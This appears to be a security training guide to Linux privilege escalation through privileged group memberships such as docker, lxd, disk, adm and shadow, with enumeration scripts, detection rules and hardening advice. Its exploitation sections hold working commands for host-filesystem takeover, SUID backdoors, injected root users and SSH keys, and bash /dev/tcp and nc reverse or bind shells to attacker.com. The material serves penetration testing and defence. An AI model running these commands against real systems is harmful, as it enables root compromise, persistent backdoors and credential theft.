
Linux Privileged Groups Exploitation: Abusing Group Memberships for Root Access
Comprehensive technical guide to exploiting privileged Linux group memberships including Docker, LXD, disk, adm, and other high-risk groups for privilege escalation and system compromise.
Introduction
Linux group memberships are an often overlooked yet powerful privilege escalation vector in modern Unix-like systems. While most security professionals focus on SUID binaries, kernel exploits, and sudo misconfigurations, group-based privileges often provide equally effective paths to root access with significantly less complexity and detection risk. A user's group membership can grant access to powerful system resources, privileged operations, and administrative functions that, when properly exploited, lead directly to complete system compromise.
The danger of privileged group memberships stems from their widespread use for delegating administrative capabilities without granting full root access. System administrators frequently add users to groups like docker, lxd, disk, or sudo to enable specific tasks—container management, disk operations, or limited administrative functions. However, these delegations often create unintended security implications. A user in the docker group, for instance, has effective root-level access to the entire host filesystem through container mounting capabilities, yet this is rarely understood or documented in security policies.
What makes group-based privilege escalation particularly insidious is its legitimacy. Unlike exploiting vulnerabilities or misconfigurations, leveraging privileged group membership involves using systems exactly as designed. Security monitoring tools don't flag these actions as anomalous because they represent normal operations for users in those groups. Audit logs show legitimate use of authorized tools, making post-incident forensics challenging. This combination of power, legitimacy, and stealth makes privileged group exploitation a preferred technique for sophisticated adversaries.
The Group Permission Paradox
Adding a user to the docker group is functionally equivalent to granting root access. A user can mount the host filesystem into a privileged container and interact with it as root, effectively bypassing all traditional Unix permission controls. Yet many organizations treat Docker group membership as a convenience feature rather than a critical security control, creating a massive gap between perceived and actual privilege levels.
Technical Background
Understanding Linux Group Permissions
Linux implements discretionary access control (DAC) through a combination of user identifiers (UIDs), group identifiers (GIDs), and permission bits. Each process runs with a real UID/GID, effective UID/GID, and supplementary groups. When the kernel evaluates access permissions, it checks:
- Owner permissions if the process UID matches the resource owner
- Group permissions if the process GID (or any supplementary GID) matches the resource group
- Other permissions if neither UID nor GID matches
This simple model becomes complex when specific groups grant access to privileged system resources or administrative capabilities.
Permission Evaluation Flow:
Process attempting access
↓
Check if UID = File Owner UID
↓ YES → Use Owner Permissions
↓ NO
Check if GID (or any supplementary GID) = File Group GID
↓ YES → Use Group Permissions
↓ NO
Use Other PermissionsHigh-Risk Groups Overview
| Group | Risk Level | Capability Granted | Exploitation Difficulty |
|---|---|---|---|
| docker | CRITICAL | Container creation with host filesystem access | Easy |
| lxd/lxc | CRITICAL | Privileged container creation | Easy |
| disk | CRITICAL | Raw device access to all storage | Medium |
| sudo | CRITICAL | Execute commands as any user | Trivial |
| adm | HIGH | Read all system logs | Easy |
| shadow | HIGH | Read /etc/shadow password hashes | Trivial |
| root | CRITICAL | Supplementary root group access | Varies |
| video | MEDIUM | Access to framebuffer and GPU | Medium |
| plugdev | MEDIUM | Access to removable devices | Medium |
| staff | LOW-HIGH | Varies by system configuration | Varies |
| kmem | CRITICAL | Kernel memory access | Hard |
| sys | HIGH | System device access | Medium |
| tty | MEDIUM | Terminal device access | Medium |
| kvm | HIGH | Virtual machine management | Medium |
| libvirt | HIGH | Hypervisor management | Medium |
| vboxusers | HIGH | VirtualBox VM management | Medium |
Why These Groups Are Dangerous
Docker/LXD Groups: These container runtime groups allow unprivileged users to spawn containers. Containers can be configured with privileged mode, host filesystem mounts, and host network access, effectively providing root-level access to the underlying host system. The escalation path is straightforward and requires only basic container knowledge.
Disk Group:
Direct access to block devices (/dev/sda, /dev/nvme0n1) bypasses the entire filesystem permission layer. Users can read and modify any data on disk, including root-owned files, regardless of traditional Unix permissions. This includes reading /etc/shadow, modifying /etc/passwd, or accessing SSH keys.
ADM Group: While read-only, log access can expose sensitive information including credentials, authentication tokens, session IDs, and system configuration details. Logs often contain debugging information that reveals internal architecture and potential attack paths.
Shadow Group:
Direct read access to /etc/shadow provides password hashes for offline cracking. Even with strong hashing algorithms like bcrypt or Argon2, this reduces security to password strength alone, bypassing rate limiting and account lockout mechanisms.
Enumeration and Discovery
Identifying Current Group Memberships
Check Your Own Groups
# Display current user's groups
id
# Output interpretation
# uid=1000(user) gid=1000(user) groups=1000(user),4(adm),27(sudo),999(docker)
# ↑ ↑ ↑
# adm sudo docker
# Get detailed group information
groups
# Show numeric GIDs
id -G
# Show group names
id -Gn
# Check specific group membership
getent group docker | grep $(whoami)Enumerate All Privileged Groups
# List all groups on system
cat /etc/group
# Find which users are in privileged groups
for group in docker lxd disk sudo adm shadow root video; do
echo "=== Group: $group ==="
getent group $group
done
# Alternative method showing group members
grep -E '^(docker|lxd|disk|sudo|adm|shadow|root):' /etc/group
# Find all groups you're a member of across the system
cat /etc/group | grep $(whoami)Discover Uncommon Privileged Groups
# Find groups with single-digit GIDs (usually system groups)
awk -F: '$3 < 100 {print $1,$3}' /etc/group
# Find groups with access to sensitive files
find / -type f \( -name "shadow" -o -name "sudoers" -o -name "id_rsa" \) \
-exec ls -l {} \; 2>/dev/null
# Identify groups that own SUID binaries
find / -perm -4000 -exec ls -l {} \; 2>/dev/null | awk '{print $4}' | sort -uAutomated Enumeration Script
#!/bin/bash
# privileged_groups_enum.sh - Comprehensive group privilege enumeration
echo "[*] Privileged Group Enumeration Script"
echo ""
# Current user groups
echo "[+] Current user groups:"
id
echo ""
# Check for high-risk group memberships
DANGEROUS_GROUPS=("docker" "lxd" "lxc" "disk" "sudo" "adm" "shadow" "root"
"video" "kmem" "sys" "kvm" "libvirt" "vboxusers" "staff")
echo "[+] Dangerous group memberships for current user:"
FOUND=0
for group in "${DANGEROUS_GROUPS[@]}"; do
if getent group "$group" 2>/dev/null | grep -q "\b$(whoami)\b"; then
echo " [!] Member of: $group"
FOUND=1
fi
done
if [ $FOUND -eq 0 ]; then
echo " [-] No dangerous groups found"
fi
echo ""
# List all users in dangerous groups
echo "[+] All users in dangerous groups:"
for group in "${DANGEROUS_GROUPS[@]}"; do
MEMBERS=$(getent group "$group" 2>/dev/null | cut -d: -f4)
if [ -n "$MEMBERS" ]; then
echo " $group: $MEMBERS"
fi
done
echo ""
# Check writable directories owned by privileged groups
echo "[+] Writable directories owned by privileged groups:"
find / -type d -writable 2>/dev/null | while read dir; do
GROUP=$(stat -c '%G' "$dir" 2>/dev/null)
if [[ " ${DANGEROUS_GROUPS[*]} " =~ " ${GROUP} " ]]; then
echo " $dir (owned by $GROUP)"
fi
done
echo ""
# Check for group-writable SUID binaries
echo "[+] Group-writable SUID binaries:"
find / -perm -4020 -type f -exec ls -l {} \; 2>/dev/null
echo ""
# Check sudo capabilities
echo "[+] Sudo capabilities:"
sudo -l 2>/dev/null || echo " [-] Cannot check sudo permissions"
echo ""
# Check for container runtimes
echo "[+] Container runtime detection:"
which docker &>/dev/null && echo " [+] Docker installed"
which lxc &>/dev/null && echo " [+] LXC installed"
which lxd &>/dev/null && echo " [+] LXD installed"
which podman &>/dev/null && echo " [+] Podman installed"
echo ""
echo "[*] Enumeration complete"Exploitation Techniques
Docker Group Exploitation
The Docker group provides the most straightforward path to root access. Users in the docker group can interact with the Docker daemon, which runs as root and can mount host filesystems into containers.
Basic Root Shell via Host Mount:
# Verify docker group membership
id | grep docker
# Method 1: Mount root filesystem
docker run -v /:/hostfs -it ubuntu /bin/bash
# Inside container
cd /hostfs
cat etc/shadow # Read shadow file
chroot /hostfs # Become root on host
# Method 2: Mount specific sensitive directories
docker run -v /root:/root -v /etc:/etc -it ubuntu /bin/bash
# Read root's SSH keys
cat /root/.ssh/id_rsa
# Read shadow passwords
cat /etc/shadow
# Add new root user
echo 'attacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwdExtract Sensitive Files:
# Start container with host mount
docker run -v /:/hostfs -it ubuntu bash
# Inside container - copy shadow file
cp /hostfs/etc/shadow /tmp/shadow
chmod 644 /tmp/shadow
# Exit and copy from container to host
docker cp $(docker ps -lq):/tmp/shadow ./shadow
# Crack passwords offline
john --wordlist=/usr/share/wordlists/rockyou.txt shadow
hashcat -m 1800 -a 0 shadow rockyou.txtCreate SUID Backdoor:
# Mount host filesystem
docker run -v /:/hostfs -it ubuntu bash
# Inside container
cp /bin/bash /hostfs/tmp/rootbash
chmod 4755 /hostfs/tmp/rootbash
chmod u+s /hostfs/tmp/rootbash
# Exit container
exit
# On host - execute SUID bash
/tmp/rootbash -p
# Now running as rootRunning Privileged Container:
# Create fully privileged container
docker run --privileged -v /:/hostfs -it ubuntu bash
# Inside privileged container - even more capabilities
# Can load kernel modules, access all devices, etc.
# Method 1: Chroot to host
chroot /hostfs /bin/bash
# Method 2: Access raw devices
ls -la /hostfs/dev/sda*
dd if=/hostfs/dev/sda of=/tmp/disk.img bs=1M count=100
# Method 3: Mount host devices
mkdir /mnt/host
mount /dev/sda1 /mnt/host
cat /mnt/host/etc/shadowPrivileged Container with Specific Capabilities:
# Grant specific capabilities
docker run --cap-add=SYS_ADMIN --cap-add=DAC_OVERRIDE \
-v /:/hostfs -it ubuntu bash
# SYS_ADMIN allows mounting filesystems
mount --bind /hostfs/etc /mnt
cat /mnt/shadow
# DAC_OVERRIDE bypasses file permissions
cat /hostfs/etc/shadow # Read without normal permission checksCVE-2019-5736 RunC Escape (if vulnerable):
# Check runC version
docker run ubuntu runc --version
# If vulnerable to CVE-2019-5736
# Use exploit from GitHub
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
# Compile exploit
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
# Deploy in container
docker run -it -v /path/to/exploit:/exploit ubuntu bash
/exploitKernel Module Loading:
# Run with kernel module access
docker run --privileged -v /lib/modules:/lib/modules -v /:/hostfs -it ubuntu
# Load malicious kernel module
cat > rootkit.c <<'EOF'
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void) {
// Privilege escalation code
return 0;
}
void cleanup_module(void) {}
EOF
# Compile and load
make -C /lib/modules/$(uname -r)/build M=$PWD modules
insmod rootkit.koDocker Socket Mounting:
# If docker.sock is accessible
docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu
# Inside container, install docker client
apt update && apt install -y docker.io
# Now can control host docker daemon
docker -H unix:///var/run/docker.sock run -v /:/hostfs -it ubuntuPersistence via Docker Container:
# Create persistent backdoor container
docker run -d --name backdoor --restart=always \
-v /:/hostfs -p 4444:4444 ubuntu \
bash -c 'while true; do nc -lvp 4444 -e /bin/bash; done'
# Or reverse shell container
docker run -d --name revshell --restart=always \
ubuntu bash -c 'while true; do \
bash -i >& /dev/tcp/attacker.com/4444 0>&1; \
sleep 60; done'Extracting Docker Secrets:
# Access docker volumes
docker volume ls
docker volume inspect <volume_name>
# Mount and read volume contents
docker run -v <volume_name>:/data -it ubuntu bash
cat /data/secrets.txt
# Check for credentials in environment variables
docker inspect <container_id> | grep -i env
# Extract from running containers
docker exec <container_id> cat /run/secrets/db_passwordLXD/LXC Group Exploitation
LXD (Linux Container Daemon) provides similar escalation paths to Docker but with a different approach.
Basic LXD Container Privilege Escalation
# Verify LXD group membership
id | grep lxd
# Initialize LXD (if not already done)
lxd init
# Choose all defaults
# Method 1: Import Alpine Linux image
# On attacker machine
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
./build-alpine
# Transfer to target (alpine-v3.xx-x86_64.tar.gz)
# On target machine
lxc image import alpine-v3.xx-x86_64.tar.gz --alias alpine
# Create privileged container
lxc init alpine privesc -c security.privileged=true
# Mount host filesystem
lxc config device add privesc hostfs disk source=/ path=/mnt/root recursive=true
# Start container
lxc start privesc
# Execute shell
lxc exec privesc /bin/sh
# Inside container - now have root access to host filesystem
cd /mnt/root/root
cat .ssh/id_rsaAlternative: Using Ubuntu Image:
# Launch Ubuntu container with privileged access
lxc launch ubuntu:20.04 privesc -c security.privileged=true
# Add host filesystem device
lxc config device add privesc hostfs disk source=/ path=/mnt/root recursive=true
# Access container
lxc exec privesc /bin/bash
# Navigate to host filesystem
cd /mnt/rootLXD Persistence Mechanisms
# Create permanent backdoor container
lxc init ubuntu:20.04 backdoor -c security.privileged=true
lxc config device add backdoor hostfs disk source=/ path=/mnt/root recursive=true
# Configure auto-start
lxc config set backdoor boot.autostart true
# Add reverse shell on container start
lxc exec backdoor -- bash -c "cat > /etc/rc.local <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1 &
exit 0
EOF"
lxc exec backdoor -- chmod +x /etc/rc.local
# Start the container
lxc start backdoorAdd SSH Backdoor:
# Access host filesystem through LXD
lxc exec privesc /bin/bash
# Add SSH key to root's authorized_keys
cd /mnt/root/root/.ssh
echo "ssh-rsa AAAAB3... attacker@kali" >> authorized_keys
chmod 600 authorized_keys
# Now can SSH as root
ssh root@target-ipLXD Without Root (UID Mapping Bypass)
# Even without security.privileged=true, can use UID mapping
lxc init ubuntu:20.04 mycontainer
# Configure UID mapping to map container root to host user
lxc config set mycontainer raw.idmap "both $(id -u) 0"
# Mount specific directories
lxc config device add mycontainer hostdir disk source=/home path=/mnt/home
# Start and access
lxc start mycontainer
lxc exec mycontainer /bin/bash
# Inside container, you're root (UID 0 in container namespace)
# But mapped to your host UID for file operationsDisk Group Exploitation
The disk group provides raw access to block devices, bypassing filesystem permissions entirely.
# Verify disk group membership
id | grep disk
# List available block devices
ls -la /dev/sd* /dev/nvme*
lsblk
# Method 1: Direct device reading with debugfs
debugfs /dev/sda1
# Inside debugfs
debugfs: cat /etc/shadow
debugfs: cat /root/.ssh/id_rsa
debugfs: quit
# Method 2: Mount filesystem to accessible location
mkdir /tmp/mnt
mount /dev/sda1 /tmp/mnt
# Access as if root
cat /tmp/mnt/etc/shadow
cat /tmp/mnt/root/.ssh/id_rsa
# Unmount
umount /tmp/mntExtract Entire Shadow File:
# Using dd to read raw device
dd if=/dev/sda1 of=/tmp/disk.img bs=4M
# Mount the image
mkdir /tmp/mnt
mount -o loop /tmp/disk.img /tmp/mnt
# Extract shadow
cat /tmp/mnt/etc/shadow > /tmp/shadow
# Cleanup
umount /tmp/mnt
rm /tmp/disk.img
# Crack passwords
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadowModify Files Directly:
# Clone device to writable image
dd if=/dev/sda1 of=/tmp/part.img bs=4M count=1024
# Mount and modify
mkdir /tmp/mnt
mount -o loop /tmp/part.img /tmp/mnt
# Add backdoor user
echo 'backdoor::0:0:root:/root:/bin/bash' >> /tmp/mnt/etc/passwd
# Umount
umount /tmp/mnt
# Write back to device (DANGEROUS - can corrupt filesystem)
# dd if=/tmp/part.img of=/dev/sda1 bs=4MADM Group Exploitation
The adm group provides read access to log files, which can contain sensitive information.
# Verify adm group membership
id | grep adm
# Search for credentials in logs
grep -ri "password\|passwd" /var/log/ 2>/dev/null
grep -ri "api.*key\|secret" /var/log/ 2>/dev/null
grep -ri "token" /var/log/ 2>/dev/null
# Find database credentials
grep -ri "mysql\|postgres\|mongodb" /var/log/ 2>/dev/null
# Search authentication logs
cat /var/log/auth.log | grep -i "password\|failed\|accepted"
# Find sudo usage
grep -i "sudo" /var/log/auth.log | tail -20
# Extract user activities
cat /var/log/syslog | grep "session opened"
# Find clear-text passwords in application logs
find /var/log -type f -exec grep -i "pass=" {} \; 2>/dev/nullAutomated Log Mining:
#!/bin/bash
# log_miner.sh - Extract sensitive information from logs
OUTFILE="/tmp/log_findings.txt"
echo "[*] Mining logs for sensitive information..." > $OUTFILE
# Search patterns
PATTERNS=(
"password[[:space:]]*="
"passwd[[:space:]]*="
"api_key"
"api-key"
"apikey"
"secret[[:space:]]*="
"token[[:space:]]*="
"access_token"
"mysql.*password"
"postgres.*password"
"mongodb.*password"
)
# Search all logs
for pattern in "${PATTERNS[@]}"; do
echo "=== Pattern: $pattern ===" >> $OUTFILE
grep -rEi "$pattern" /var/log/ 2>/dev/null >> $OUTFILE
done
# Search for SSH keys in logs
echo "=== SSH Keys ===" >> $OUTFILE
grep -r "BEGIN.*PRIVATE KEY" /var/log/ 2>/dev/null >> $OUTFILE
# Search for authentication failures (enumerate valid users)
echo "=== Valid Usernames ===" >> $OUTFILE
grep "Failed password" /var/log/auth.log 2>/dev/null | \
awk '{print $(NF-5)}' | sort -u >> $OUTFILE
cat $OUTFILEShadow Group Exploitation
Direct access to the shadow password file:
# Verify shadow group membership
id | grep shadow
# Read shadow file
cat /etc/shadow
# Extract user hashes
cat /etc/shadow | grep -v '*' | grep -v '!'
# Copy for offline cracking
cp /etc/shadow /tmp/shadow
chmod 644 /tmp/shadow
# Crack with John
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadow
# Crack with Hashcat
hashcat -m 1800 -a 0 /tmp/shadow rockyou.txtVideo Group Exploitation
Access to framebuffer and screen capture:
# Verify video group membership
id | grep video
# Capture screen
cat /dev/fb0 > /tmp/screen.raw
# Convert to viewable format (requires ffmpeg)
ffmpeg -f rawvideo -pix_fmt rgb565 -s 1920x1080 \
-i /tmp/screen.raw /tmp/screen.png
# Or use existing tools
apt-get install scrot
scrot /tmp/screenshot.pngDetection and Monitoring
Audit Group Membership Changes
# Monitor group file changes
auditctl -w /etc/group -p wa -k group_changes
auditctl -w /etc/gshadow -p wa -k group_changes
# Monitor usermod command
auditctl -a always,exit -F path=/usr/sbin/usermod -F perm=x -k user_modification
# Monitor gpasswd command
auditctl -a always,exit -F path=/usr/bin/gpasswd -F perm=x -k group_modificationMonitor Privileged Group Usage
# Create monitoring script
cat > /usr/local/bin/monitor_groups.sh <<'EOF'
#!/bin/bash
LOGFILE="/var/log/privileged_group_monitor.log"
GROUPS=("docker" "lxd" "disk" "sudo")
# Check for new users in privileged groups
for group in "${GROUPS[@]}"; do
CURRENT=$(getent group "$group" | cut -d: -f4)
BASELINE=$(cat /var/lib/group_baseline/$group 2>/dev/null)
if [ "$CURRENT" != "$BASELINE" ]; then
echo "$(date): Group $group changed from '$BASELINE' to '$CURRENT'" >> $LOGFILE
logger -t group_monitor "ALERT: Group $group membership changed"
# Update baseline
echo "$CURRENT" > /var/lib/group_baseline/$group
fi
done
EOF
chmod +x /usr/local/bin/monitor_groups.sh
# Create baseline directory
mkdir -p /var/lib/group_baseline
# Initialize baselines
for group in docker lxd disk sudo; do
getent group "$group" | cut -d: -f4 > /var/lib/group_baseline/$group
done
# Schedule regular checks
echo "*/5 * * * * root /usr/local/bin/monitor_groups.sh" >> /etc/crontabDetect Container Exploitation
# Monitor Docker commands
auditctl -w /var/run/docker.sock -p rw -k docker_socket_access
auditctl -a always,exit -F path=/usr/bin/docker -F perm=x -k docker_execution
# Monitor LXD usage
auditctl -a always,exit -F path=/usr/bin/lxc -F perm=x -k lxc_execution
# Alert on privileged container creation
# Parse docker logs
tail -f /var/log/syslog | grep --line-buffered "docker run.*--privileged" | \
while read line; do
logger -t security_alert "PRIVILEGED CONTAINER DETECTED: $line"
done &Log Analysis Queries
# Find docker privileged container starts
journalctl -u docker | grep "privileged"
# Find LXD privileged containers
lxc list | grep -i "privileged"
# Check for host filesystem mounts in containers
docker inspect $(docker ps -q) | grep -i "\"Source\": \"/\""
# Find disk group usage
ausearch -k disk_access | aureport -fMitigation and Defense
Remove Unnecessary Group Memberships
Audit Current Memberships
# List all members of dangerous groups
for group in docker lxd disk sudo adm shadow video; do
echo "=== $group ==="
getent group $group
done
# Remove user from group
gpasswd -d username docker
gpasswd -d username lxd
# Verify removal
id usernameImplement Least Privilege
# Instead of adding to docker group, use sudo with restrictions
cat > /etc/sudoers.d/docker-restricted <<'EOF'
# Allow specific users to run specific docker commands
developer ALL=(ALL) NOPASSWD: /usr/bin/docker ps
developer ALL=(ALL) NOPASSWD: /usr/bin/docker logs *
developer ALL=(ALL) NOPASSWD: /usr/bin/docker exec -it * /bin/bash
# Deny dangerous operations
developer ALL=(ALL) !NOPASSWD: /usr/bin/docker run * --privileged *
developer ALL=(ALL) !NOPASSWD: /usr/bin/docker run * -v / *
EOF
chmod 440 /etc/sudoers.d/docker-restrictedUse Docker Rootless Mode
# Install rootless Docker
curl -fsSL https://get.docker.com/rootless | sh
# Configure user namespace remapping
echo "$(whoami):100000:65536" | sudo tee /etc/subuid
echo "$(whoami):100000:65536" | sudo tee /etc/subgid
# Enable and start rootless docker
systemctl --user enable docker
systemctl --user start docker
# Verify rootless mode
docker context use rootless
docker info | grep -i rootlessHarden Container Runtime
# Configure Docker daemon with security options
cat > /etc/docker/daemon.json <<'EOF'
{
"userns-remap": "default",
"no-new-privileges": true,
"seccomp-profile": "/etc/docker/seccomp-default.json",
"apparmor-profile": "docker-default"
}
EOF
# Restart Docker
systemctl restart docker
# For LXD, enforce unprivileged containers by default
cat > /etc/lxd/lxd.conf <<'EOF'
security.privileged: false
security.nesting: false
EOFImplement AppArmor/SELinux Profiles
# Create Docker AppArmor profile
cat > /etc/apparmor.d/docker-restricted <<'EOF'
#include <tunables/global>
profile docker-restricted flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
# Deny mount of host root
deny mount / -> /,
deny mount /** -> /,
# Deny privileged operations
deny capability sys_admin,
deny capability sys_module,
deny capability dac_override,
}
EOF
# Load profile
apparmor_parser -r /etc/apparmor.d/docker-restricted
# Apply to containers
docker run --security-opt apparmor=docker-restricted ...Monitoring and Alerting
# Set up real-time alerts for group changes
cat > /etc/audit/rules.d/90-group-monitoring.rules <<'EOF'
# Monitor group file modifications
-w /etc/group -p wa -k group_modification
-w /etc/gshadow -p wa -k group_modification
# Monitor commands that modify groups
-w /usr/sbin/usermod -p x -k user_group_modification
-w /usr/sbin/groupmod -p x -k group_modification
-w /usr/bin/gpasswd -p x -k group_password_modification
# Monitor privileged group usage
-a always,exit -F auid>=1000 -F auid!=4294967295 -F gid=docker -S execve -k docker_usage
-a always,exit -F auid>=1000 -F auid!=4294967295 -F gid=lxd -S execve -k lxd_usage
EOF
# Reload audit rules
augenrules --load
# Create alert handler
cat > /usr/local/bin/audit_alert.sh <<'EOF'
#!/bin/bash
# Monitor audit log and send alerts
tail -f /var/log/audit/audit.log | while read line; do
if echo "$line" | grep -q "group_modification"; then
echo "ALERT: Group modification detected: $line" | \
mail -s "Security Alert: Group Modification" [email protected]
fi
done
EOF
chmod +x /usr/local/bin/audit_alert.sh
# Run as service
systemctl enable audit-alert
systemctl start audit-alertSecurity Best Practices
Group Management Policy
- Audit group memberships quarterly at minimum
- Document justification for all privileged group memberships
- Remove default memberships for new users
- Use sudo with restrictions instead of privileged groups when possible
- Implement rootless containers where feasible
- Enable user namespaces for isolation
- Monitor group file changes with auditd
- Alert on privileged group usage in SIEM
- Regular access reviews for all privileged groups
- Principle of least privilege for all group assignments
Alternative Approaches
Instead of Docker group:
- Use Docker rootless mode
- Use Podman (rootless by default)
- Implement sudo with command restrictions
- Use Kubernetes RBAC for container orchestration
Instead of LXD group:
- Use unprivileged containers exclusively
- Implement user namespace mapping
- Use alternative container runtimes with better isolation
Instead of Disk group:
- Never grant disk group for operations
- Use sudo with specific device access
- Implement filesystem ACLs for fine-grained control
References
MITRE ATT&CK Techniques
- T1078.003 - Valid Accounts: Local Accounts - Local group abuse
- T1078 - Valid Accounts - Parent technique
- T1548 - Abuse Elevation Control Mechanism - Group-based privilege escalation
- T1611 - Escape to Host - Docker/LXD container escape
Linux Documentation
- Linux Capabilities and Groups - Capabilities manual
Security Resources
- Docker Security Best Practices - Docker security docs
- LXD Security - LXD security guide
- GTFOBins - Group-based privilege escalation
- HackTricks: Privileged Groups - Exploitation guide
Next Steps
After identifying privileged group memberships:
- Immediately audit who has access to dangerous groups
- Review justifications for all privileged group memberships
- Remove unnecessary group memberships following least privilege
- Implement monitoring for group file changes and usage
- Deploy containerization security controls (rootless, AppArmor, etc.)
- Explore related privilege escalation techniques:
Takeaway: Linux privileged group memberships represent critical security boundaries that are frequently misunderstood and inadequately protected. The docker, lxd, and disk groups in particular provide effective root-equivalent access through legitimate system functionality rather than exploitation. Comprehensive group auditing, least privilege principles, rootless container technologies, and continuous monitoring form the foundation of defense against group-based privilege escalation. Make group membership a first-class security control in your Linux hardening program, with the same rigor applied to SUID binaries and sudo configurations.
Last updated on
Linux PATH Environment Variable Abuse for Privilege Escalation
Comprehensive guide to exploiting PATH environment variable misconfigurations in Linux for privilege escalation, covering detection techniques, exploitation methods, and security hardening strategies.
Python Library Hijacking
Comprehensive guide to Python library hijacking for privilege escalation, covering module permissions abuse, PYTHONPATH manipulation, and library path exploitation.